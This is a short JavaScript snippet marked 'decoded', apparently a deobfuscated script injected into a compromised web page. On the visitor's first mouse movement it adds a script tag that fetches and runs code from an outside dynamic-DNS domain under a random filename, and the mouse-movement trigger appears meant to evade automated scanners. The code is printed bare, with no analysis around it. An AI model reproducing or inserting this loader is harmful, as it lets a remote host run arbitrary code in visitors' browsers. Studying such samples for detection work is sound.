decoded

function() {
    var url = 'http://v6iyuk.gpbbsdhmjm.shacknet.nu/g/';
    if (typeof window.xyzflag === 'undefined') {
        window.xyzflag = 0;
    }
    document.onmousemove = function() {
        if (window.xyzflag === 0) {
            window.xyzflag = 1;
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.onreadystatechange = function () {
                if (this.readyState == 'complete') {
                    window.xyzflag = 2;
                }
            };
            script.onload = function() {
                window.xyzflag = 2;
            };
            script.src = url + Math.random().toString().substring(3) + '.js';  //389807054045406
            head.appendChild(script);
        }
    };
}